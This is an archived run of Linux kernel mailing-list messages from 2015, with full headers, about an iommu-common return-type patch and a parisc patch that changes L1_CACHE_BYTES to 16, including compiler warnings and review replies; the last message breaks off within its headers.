Original-X-From: sparclinux-owner@vger.kernel.org Wed Oct 21 21:13:06 2015
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1Zoyok-0005bF-88
	for lnx-sparclinux@plane.gmane.org; Wed, 21 Oct 2015 21:12:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755400AbbJUTM4 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;lnx-sparclinux@m.gmane.org>); Wed, 21 Oct 2015 15:12:56 -0400
Original-Received: from mail-oi0-f46.google.com ([209.85.218.46]:35294 "EHLO
	mail-oi0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754532AbbJUTMz convert rfc822-to-8bit (ORCPT
	<rfc822;sparclinux@vger.kernel.org>); Wed, 21 Oct 2015 15:12:55 -0400
Original-Received: by oiev17 with SMTP id v17so35087464oie.2;
        Wed, 21 Oct 2015 12:12:54 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:content-type:content-transfer-encoding;
        bh=teqx/VJYvhrpnZvFJDB3q9XKxxXqulOq3toGPNFzepQ=;
        b=M9DcYGgskc8yt+8thvr2FsrrAGKLIpCKQlZ0C5M7wZMBLy73ZR268cFhhAdPM4X9bF
         Ec84eWwMWYJnoSYLtZHpbqkJ4g7tF8dtBdnX5iI2uVVwTlP6Mv6aWIIFsi+gOgOrsSx5
         J7O1S5ODWAJRIc51Ahm4nLbjwNrwuWU6hopX16kXZ3ipAx5m4ro76jFuQINY74Jv2ahX
         o/YRZUhJZoUumX9F2lsx337EtVfstARl8i2wP8tI9DmC2EVgeCPT39QysiQvVJHY2COp
         XJkv1HbwqmPY4FpV+SZhF0/veEb/FmOLFLvX9sjuqydrhQPvxYOcjsIXYKYP74c65cX9
         r5mA==
X-Received: by 10.202.88.69 with SMTP id m66mr6613961oib.99.1445454774565;
 Wed, 21 Oct 2015 12:12:54 -0700 (PDT)
Original-Received: by 10.60.34.132 with HTTP; Wed, 21 Oct 2015 12:12:54 -0700 (PDT)
In-Reply-To: <1442567375-6963-1-git-send-email-andre.przywara@arm.com>
X-Google-Sender-Auth: 1AUkMj-bWccLjIg5z72lkxIEsj0
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:21627 gmane.linux.kernel:2068077 gmane.linux.ports.arm.kernel:449949 gmane.linux.ports.parisc:26080 gmane.linux.kernel.iommu:11302
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/21627>

Hi Andre, J=C3=B6rg,

On Fri, Sep 18, 2015 at 11:09 AM, Andre Przywara <andre.przywara@arm.co=
m> wrote:
> Though iommu_tbl_range_alloc() is only used by Sparc code, the
> function itself lives in lib/iommu-common.c and is thus included in
> other architecture's code as well.
> When compiled on a 32-bit architecture using 64-bit DMA addresses
> (ARM with LPAE), there is a compiler warning about a type mismatch
> between dma_addr_t and the return type of this function:
>
> In file included from /src/linux/include/linux/dma-mapping.h:86:0,
>                  from /src/linux/lib/iommu-common.c:11:
> /src/linux/lib/iommu-common.c: In function 'iommu_tbl_range_alloc':
> /src/linux/arch/arm/include/asm/dma-mapping.h:16:24: warning: large i=
nteger implicitly truncated to unsigned type [-Woverflow]
>  #define DMA_ERROR_CODE (~(dma_addr_t)0x0)
>                         ^
> /src/linux/lib/iommu-common.c:127:10: note: in expansion of macro
> 'DMA_ERROR_CODE'
>    return DMA_ERROR_CODE;

While I welcome a fix for this annoying warning on arm...

> --- a/lib/iommu-common.c
> +++ b/lib/iommu-common.c
> @@ -99,15 +99,16 @@ void iommu_tbl_pool_init(struct iommu_map_table *=
iommu,
>  }
>  EXPORT_SYMBOL(iommu_tbl_pool_init);
>
> -unsigned long iommu_tbl_range_alloc(struct device *dev,
> -                               struct iommu_map_table *iommu,
> -                               unsigned long npages,
> -                               unsigned long *handle,
> -                               unsigned long mask,
> -                               unsigned int align_order)
> +dma_addr_t iommu_tbl_range_alloc(struct device *dev,
> +                                struct iommu_map_table *iommu,
> +                                unsigned long npages,
> +                                unsigned long *handle,
> +                                unsigned long mask,
> +                                unsigned int align_order)
>  {
>         unsigned int pool_hash =3D __this_cpu_read(iommu_hash_common)=
;
> -       unsigned long n, end, start, limit, boundary_size;
> +       dma_addr_t n;
> +       unsigned long end, start, limit, boundary_size;

=2E.. this doesn't look like the right fix.

Apparently 64-bit parisc doesn't set ARCH_DMA_ADDR_T_64BIT, hence assig=
ning
(64-bit) "unsigned long" to (32-bit) dma_addr_t will truncate the addre=
ss.

Does this function really need to return DMA_ERROR_CODE in case of
failure?

Gr{oetje,eeting}s,

                        Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-=
m68k.org

In personal conversations with technical people, I call myself a hacker=
=2E But
when I'm talking to journalists I just say "programmer" or something li=
ke that.
                                -- Linus Torvalds
--
To unsubscribe from this list: send the line "unsubscribe sparclinux" i=
n
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sowmini Varadhan <sowmini.varadhan@oracle.com>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.iommu
Subject: Re: [PATCH] iommu-common: fix return type of iommu_tbl_range_alloc()
Date: Wed, 21 Oct 2015 15:56:40 -0400
Lines: 15
Approved: news@gmane.org
Message-ID: <20151021195640.GC14667@oracle.com>
References: <55FBD36C.5070301@arm.com>
 <1442567375-6963-1-git-send-email-andre.przywara@arm.com>
 <CAMuHMdXGM0ynDSv-_MdZptXeqJ=sU7=LChmihSCoqanVTUpWXQ@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1445457467 16697 80.91.229.3 (21 Oct 2015 19:57:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 21 Oct 2015 19:57:47 +0000 (UTC)
Cc: Andre Przywara <andre.przywara@arm.com>,
	Joerg Roedel <joro@8bytes.org>,
	"David S. Miller" <davem@davemloft.net>,
	sparclinux <sparclinux@vger.kernel.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	"linux-arm-kernel@lists.infradead.org" 
	<linux-arm-kernel@lists.infradead.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	iommu@lists.linux-foundation.org
To: Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: sparclinux-owner@vger.kernel.org Wed Oct 21 21:57:34 2015
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1ZozVp-0001wJ-JW
	for lnx-sparclinux@plane.gmane.org; Wed, 21 Oct 2015 21:57:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755947AbbJUT5X (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
	Wed, 21 Oct 2015 15:57:23 -0400
Original-Received: from userp1040.oracle.com ([156.151.31.81]:18074 "EHLO
	userp1040.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754726AbbJUT5W (ORCPT
	<rfc822;sparclinux@vger.kernel.org>); Wed, 21 Oct 2015 15:57:22 -0400
Original-Received: from userv0022.oracle.com (userv0022.oracle.com [156.151.31.74])
	by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9LJugkX020710
	(version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Wed, 21 Oct 2015 19:56:43 GMT
Original-Received: from aserv0121.oracle.com (aserv0121.oracle.com [141.146.126.235])
	by userv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t9LJuf7t005419
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL);
	Wed, 21 Oct 2015 19:56:42 GMT
Original-Received: from abhmp0002.oracle.com (abhmp0002.oracle.com [141.146.116.8])
	by aserv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t9LJufVm031790;
	Wed, 21 Oct 2015 19:56:41 GMT
Original-Received: from oracle.com (/10.154.144.206)
	by default (Oracle Beehive Gateway v4.0)
	with ESMTP ; Wed, 21 Oct 2015 12:56:41 -0700
Content-Disposition: inline
In-Reply-To: <CAMuHMdXGM0ynDSv-_MdZptXeqJ=sU7=LChmihSCoqanVTUpWXQ@mail.gmail.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Source-IP: userv0022.oracle.com [156.151.31.74]
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:21628 gmane.linux.kernel:2068108 gmane.linux.ports.arm.kernel:449953 gmane.linux.ports.parisc:26081 gmane.linux.kernel.iommu:11303
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/21628>

On (10/21/15 21:12), Geert Uytterhoeven wrote:
> 
> Does this function really need to return DMA_ERROR_CODE in case of
> failure?

fwiw, this came up very early in code review:

  http://marc.info/?l=linux-sparc&m=142613044704833&w=2

--Sowmini
--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Helge Deller" <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Aw: [PATCH v3] parisc: Change L1_CACHE_BYTES to 16
Date: Thu, 22 Oct 2015 13:38:05 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <trinity-eda7d55d-7234-4b29-a15c-955f8ba0c95e-1445513884942@3capp-gmx-bs32>
References: <42430464-867C-4E0B-8E95-C6CDB6D8A0B2@bell.net>
 <32A3BF6F-B243-4AD4-9AE9-A5F9DAE0270A@bell.net>,
 <B8E85737-5ECD-4CBE-8730-886B098C5FA4@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1445513899 18004 80.91.229.3 (22 Oct 2015 11:38:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 22 Oct 2015 11:38:19 +0000 (UTC)
Cc: "linux-parisc List" <linux-parisc@vger.kernel.org>,
	"James Bottomley" <James.Bottomley@HansenPartnership.com>
To: "John David Anglin" <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 22 13:38:13 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZpEC9-0007G0-BO
	for glpp-linux-parisc@plane.gmane.org; Thu, 22 Oct 2015 13:38:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754403AbbJVLiI convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 22 Oct 2015 07:38:08 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:50330 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753268AbbJVLiH convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 22 Oct 2015 07:38:07 -0400
Original-Received: from [155.56.68.215] by 3capp-gmx-bs32.server.lan (via HTTP); Thu,
 22 Oct 2015 13:38:05 +0200
Importance: normal
Sensitivity: Normal
In-Reply-To: <B8E85737-5ECD-4CBE-8730-886B098C5FA4@bell.net>
X-UI-Message-Type: mail
X-Priority: 3
X-Provags-ID: V03:K0:aW8XNTcQMhDp3ZA+B5+EWqWuB2eR1eMZra8ij76zT2g
 DtAeq4JARo2yVReQfQpIhVOB7FNYSXrYICu7KU1avrld8hJYzr
 W+lLYroksp3MyJjzhxdLc96Opb+JJnyGsobs7mcBmcswKF5No6
 /+B08pR88oHm54QFq0rfNF7l06mqCPQY4IuDd0QXfJIMiO4hVW
 4FxJwj0JjdeGdnYbKeZ7vCtm6jLeZgoZvbAhPOkKtE/ujX24f1
 ahYSBLxrk8GxRnqGFl0ZiWhjqy4zl2pWQfYxxjjYlq14Wl82Gi KpT5YQ=
X-UI-Out-Filterresults: notjunk:1;V01:K0:S1Lo7TPTbbw=:vxiwXKXt+DcAqGYa/hA8cY
 o3ix//dpROgPdbJbaeiDIHYriyRs9MG0QzRIObSVuf54QHP2AjQosWVxi0LceYeRkKpml5LfB
 Js0cINMrClIVliOLs2a023UeQDrq4lN4TPpkPI6v9XRVLNLt6gekMpPTQbxyKUypipXXfhLRJ
 jymRLKl43VWaveKSwrMJ2TXEVDQFrcW+bwETdR9260e6cNcmUoeXlfpJkZ/ytoUxQuO2sSGRI
 aBxGY2uw8mhEAs0yeXroFf/yKhn5JVMaa3BiNdcWLWHGCVed5Hh/diV243s0Z6dW54YpzjiOH
 M2C6AeJBjhXwlvIFDoo4dKqqcwp43EjcTobAt4trVwpShrN0o4bsO4n7UQLeiquTcdy588/7t
 QU/TxiKYeHhjKeqzODPAS8BoAeJG6jH396n8gb9g5Iku9ygquJmUTRtMiH6h3vIKjpj4kj4Ok
 GdPAq5zYUg==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26082
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26082>

> Betreff: [PATCH v3] parisc: Change L1_CACHE_BYTES to 16
> The latest version changes L1_CACHE_BYTES to 16 bytes and doesn't adj=
ust SMP_CACHE_BYTES as
> per James suggestion

This patch sadly breaks build on Linux kernel git head:

In file included from /home/cvs/LINUX/git-kernel/linux-2.6/net/core/dev=
=2Ec:92:0:
/net/core/dev.c: In function =E2=80=98expand_xps_map=E2=80=99:
/include/linux/netdevice.h:721:27: warning: overflow in implicit consta=
nt conversion [-Woverflow]
 #define XPS_MIN_MAP_ALLOC ((L1_CACHE_BYTES - sizeof(struct xps_map)) \
/net/core/dev.c:1972:18: note: in expansion of macro =E2=80=98XPS_MIN_M=
AP_ALLOC=E2=80=99
  int alloc_len =3D XPS_MIN_MAP_ALLOC;
                  ^
Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Helge Deller" <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Aw: [PATCH v3] parisc: Change L1_CACHE_BYTES to 16
Date: Thu, 22 Oct 2015 13:53:17 +0200
Lines: 40
Approved: news@gmane.org
Message-ID: <trinity-8980ad10-b889-45cf-8f37-a33ba9cf99ef-1445514797080@3capp-gmx-bs32>
References: <42430464-867C-4E0B-8E95-C6CDB6D8A0B2@bell.net>
 <32A3BF6F-B243-4AD4-9AE9-A5F9DAE0270A@bell.net>,
 <B8E85737-5ECD-4CBE-8730-886B098C5FA4@bell.net>,
 <trinity-eda7d55d-7234-4b29-a15c-955f8ba0c95e-1445513884942@3capp-gmx-bs32>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1445514825 32738 80.91.229.3 (22 Oct 2015 11:53:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 22 Oct 2015 11:53:45 +0000 (UTC)
Cc: "John David Anglin" <dave.anglin@bell.net>,
	"linux-parisc List" <linux-parisc@vger.kernel.org>,
	"James Bottomley" <James.Bottomley@HansenPartnership.com>
To: "Helge Deller" <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 22 13:53:35 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZpEQw-0006ir-M7
	for glpp-linux-parisc@plane.gmane.org; Thu, 22 Oct 2015 13:53:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932428AbbJVLx0 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 22 Oct 2015 07:53:26 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:53907 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932412AbbJVLxZ convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 22 Oct 2015 07:53:25 -0400
Original-Received: from [155.56.68.215] by 3capp-gmx-bs32.server.lan (via HTTP); Thu,
 22 Oct 2015 13:53:17 +0200
Importance: normal
Sensitivity: Normal
In-Reply-To: <trinity-eda7d55d-7234-4b29-a15c-955f8ba0c95e-1445513884942@3capp-gmx-bs32>
X-UI-Message-Type: mail
X-Priority: 3
X-Provags-ID: V03:K0:Qp0UMkcJRlZL5NgQlT6XmpXQ0FgDXVnoB03eXqJoZkD
 wPHUjx6gnEk0Xk2fzeIftSZMGFlZqOigyB28nrWXQx4yGsTGqI
 IBtv9OFeVAytFQ3VNaUEljzoYgFgOZIb/FsB6lGB/1ySnMKFmI
 HOh2Z0D4YPC2997fZksNj+qtNZPCPCbmYU8DNmcymriLXvie1S
 DtLq5vxvoKEwGLcLaIIr51OlLGPwKAJ0KdD2M/FIa16yzCcrcL
 QJNUCSwHTa1DgexPB0c5OaeZqCfLuMGarMUvagoD660EdEd2Og 2z2cZs=
X-UI-Out-Filterresults: notjunk:1;V01:K0:FEpawpLkZJ0=:LD5VMxE/bs5EmmmlN2zztV
 ld5n2zJRy4ibG0cw+Kg3hsEGQVqmFXWaa+QS7n6C6gJ94doS4QAkp9Xuo4l2ooAcSuSLvju83
 vMvISGKKDTNaL/i5Svnunn2ecSctO4uYvvLZMLk/t/1YbqSm0/7j0ArEe9KeIfoDkirsp/yx0
 z0Z8kh/3L5FgWiYj0OL5az/y5itomFuBo4av6zSzVsRdLzNlpl+xbqyIFmMKBOJQTPBptljA/
 DOR9NMm3Gq6xiy1oWGRvvtW3TahIVHR/K4yGxtxlA/Y+O9zOy9c79nXSAMfgNEXqpF4aTuyIg
 dH4kZ8e9GkIOcdrQgO2ufGFxhSQBMcniSBowjFdjVzUYuGbr2hOo5LHd0aU3PuaDSawSxewVm
 l7eXdePHmpMlrvgorsZPtyXBajJdR31uSW7AVzoLwRH3d0dLF2YfSDlP/LWccfrd7jLWqTVCt
 j1SonBD0/g==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26083
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26083>

> > Betreff: [PATCH v3] parisc: Change L1_CACHE_BYTES to 16
> > The latest version changes L1_CACHE_BYTES to 16 bytes and doesn't a=
djust SMP_CACHE_BYTES as
> > per James suggestion
>=20
> This patch sadly breaks build on Linux kernel git head:
>=20
> In file included from /home/cvs/LINUX/git-kernel/linux-2.6/net/core/d=
ev.c:92:0:
> /net/core/dev.c: In function =E2=80=98expand_xps_map=E2=80=99:
> /include/linux/netdevice.h:721:27: warning: overflow in implicit cons=
tant conversion [-Woverflow]
>  #define XPS_MIN_MAP_ALLOC ((L1_CACHE_BYTES - sizeof(struct xps_map))=
 \
> /net/core/dev.c:1972:18: note: in expansion of macro =E2=80=98XPS_MIN=
_MAP_ALLOC=E2=80=99
>   int alloc_len =3D XPS_MIN_MAP_ALLOC;

This is one possibility to fix it:

diff --git a/include/linux/netdevice.h b/include/linux/netdevice.h
index 2d15e38..21cf683 100644
--- a/include/linux/netdevice.h
+++ b/include/linux/netdevice.h
@@ -718,7 +718,7 @@ struct xps_map {
        u16 queues[0];
 };
 #define XPS_MAP_SIZE(_num) (sizeof(struct xps_map) + ((_num) * sizeof(=
u16)))
-#define XPS_MIN_MAP_ALLOC ((L1_CACHE_BYTES - sizeof(struct xps_map))  =
 \
+#define XPS_MIN_MAP_ALLOC ( (L1_CACHE_BYTES > sizeof(struct xps_map) ?=
 L1_CACHE_BYTES : 2 * L1_CACHE_BYTES) - sizeof(struct xps_map)   \
     / sizeof(u16))
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Aw: [PATCH v3] parisc: Change L1_CACHE_BYTES to 16
Date: Thu, 22 Oct 2015 07:35:49 -0700
Lines: 49
Approved: news@gmane.org
Message-ID: <1445524549.2207.1.camel@HansenPartnership.com>
References: <42430464-867C-4E0B-8E95-C6CDB6D8A0B2@bell.net>
	 <32A3BF6F-B243-4AD4-9AE9-A5F9DAE0270A@bell.net>
	, <B8E85737-5ECD-4CBE-8730-886B098C5FA4@bell.net>
	, <trinity-eda7d55d-7234-4b29-a15c-955f8ba0c95e-1445513884942@3capp-gmx-bs32>
	 <trinity-8980ad10-b889-45cf-8f37-a33ba9cf99ef-1445514797080@3capp-gmx-bs32>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1445524567 6300 80.91.229.3 (22 Oct 2015 14:36:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 22 Oct 2015 14:36:07 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	linux-parisc List <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 22 16:36:01 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZpGy8-0007DC-TF
	for glpp-linux-parisc@plane.gmane.org; Thu, 22 Oct 2015 16:35:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752394AbbJVOfw convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 22 Oct 2015 10:35:52 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:39176 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752073AbbJVOfv (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 22 Oct 2015 10:35:51 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 512218EE0BA;
	Thu, 22 Oct 2015 07:35:51 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id XCKTUmKaquFP; Thu, 22 Oct 2015 07:35:51 -0700 (PDT)
Original-Received: from [153.66.254.242] (unknown [184.11.141.41])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id D8EA78EE0A3;
	Thu, 22 Oct 2015 07:35:50 -0700 (PDT)
In-Reply-To: <trinity-8980ad10-b889-45cf-8f37-a33ba9cf99ef-1445514797080@3capp-gmx-bs32>
X-Mailer: Evolution 3.12.11 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26084
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26084>

On Thu, 2015-10-22 at 13:53 +0200, Helge Deller wrote:
> > > Betreff: [PATCH v3] parisc: Change L1_CACHE_BYTES to 16
> > > The latest version changes L1_CACHE_BYTES to 16 bytes and doesn't=
 adjust SMP_CACHE_BYTES as
> > > per James suggestion
> >=20
> > This patch sadly breaks build on Linux kernel git head:
> >=20
> > In file included from /home/cvs/LINUX/git-kernel/linux-2.6/net/core=
/dev.c:92:0:
> > /net/core/dev.c: In function =E2=80=98expand_xps_map=E2=80=99:
> > /include/linux/netdevice.h:721:27: warning: overflow in implicit co=
nstant conversion [-Woverflow]
> >  #define XPS_MIN_MAP_ALLOC ((L1_CACHE_BYTES - sizeof(struct xps_map=
)) \
> > /net/core/dev.c:1972:18: note: in expansion of macro =E2=80=98XPS_M=
IN_MAP_ALLOC=E2=80=99
> >   int alloc_len =3D XPS_MIN_MAP_ALLOC;
>=20
> This is one possibility to fix it:
>=20
> diff --git a/include/linux/netdevice.h b/include/linux/netdevice.h
> index 2d15e38..21cf683 100644
> --- a/include/linux/netdevice.h
> +++ b/include/linux/netdevice.h
> @@ -718,7 +718,7 @@ struct xps_map {
>         u16 queues[0];
>  };
>  #define XPS_MAP_SIZE(_num) (sizeof(struct xps_map) + ((_num) * sizeo=
f(u16)))
> -#define XPS_MIN_MAP_ALLOC ((L1_CACHE_BYTES - sizeof(struct xps_map))=
   \
> +#define XPS_MIN_MAP_ALLOC ( (L1_CACHE_BYTES > sizeof(struct xps_map)=
 ? L1_CACHE_BYTES : 2 * L1_CACHE_BYTES) - sizeof(struct xps_map)   \
>      / sizeof(u16))

But it indicates the whole kernel has the architectural assumption that
L1_CACHE_BYTES >=3D 32, so I don't think we should be trying to change
that.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Aw: [PATCH v3] parisc: Change L1_CACHE_BYTES to 16
Date: Thu, 22 Oct 2015 10:53:28 -0400
Lines: 54
Approved: news@gmane.org
Message-ID: <5628F868.3040105@bell.net>
References: <42430464-867C-4E0B-8E95-C6CDB6D8A0B2@bell.net>
 <32A3BF6F-B243-4AD4-9AE9-A5F9DAE0270A@bell.net>
 <B8E85737-5ECD-4CBE-8730-886B098C5FA4@bell.net>
 <trinity-eda7d55d-7234-4b29-a15c-955f8ba0c95e-1445513884942@3capp-gmx-bs32>
 <trinity-8980ad10-b889-45cf-8f37-a33ba9cf99ef-1445514797080@3capp-gmx-bs32>
 <1445524549.2207.1.camel@HansenPartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8;
	format=flowed
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1445525625 24844 80.91.229.3 (22 Oct 2015 14:53:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 22 Oct 2015 14:53:45 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 22 16:53:37 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZpHFD-0000Cg-22
	for glpp-linux-parisc@plane.gmane.org; Thu, 22 Oct 2015 16:53:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932573AbbJVOxa convert rfc822-to-quoted-printable (ORCPT
